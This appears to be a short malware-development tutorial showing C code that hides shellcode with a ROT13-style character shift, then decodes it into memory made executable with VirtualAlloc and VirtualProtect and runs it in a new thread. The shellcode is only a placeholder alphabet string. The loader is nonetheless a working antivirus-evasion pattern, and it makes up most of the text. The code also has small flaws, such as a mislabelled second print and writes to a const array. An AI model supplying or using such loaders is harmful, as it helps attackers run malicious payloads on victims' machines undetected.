Caesar Cipher (ROT 13) Encrypt Shellcode

Adding and subtracting a constant integer ascii value from each of the characters in the shellcode is Ceasar cipher.

#include<stdio.h>
#include<windows.h>

void rot13_encrypt(char* shellcode, int len)
{
	int i=0;
	for (i = 0; i < len; i++)
	{
		shellcode[i] = shellcode[i] + 13;
	}
}

void rot13_decrypt(char* shellcode, int len)
{
	int i=0;
	for (i = 0; i < len; i++)
	{
		shellcode[i] = shellcode[i] - 13;
	}
}

void main()
{
	PVOID exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
    
	const char shellcode[] = "abcdefghijklmnopqrstuvwxyz";
	int len = sizeof shellcode;
	
	rot13_encrypt((char *)shellcode, len);
	printf("ROT 13 encrypted code: %s\n", shellcode);
	
	exec_mem = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	rot13_decrypt((char *) shellcode, len);
	printf("ROT 13 encrypted code: %s\n", shellcode);

	RtlMoveMemory(exec_mem, shellcode, sizeof shellcode);
	
	rv = VirtualProtect(exec_mem, sizeof shellcode, PAGE_EXECUTE_READ, &oldprotect);
	
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}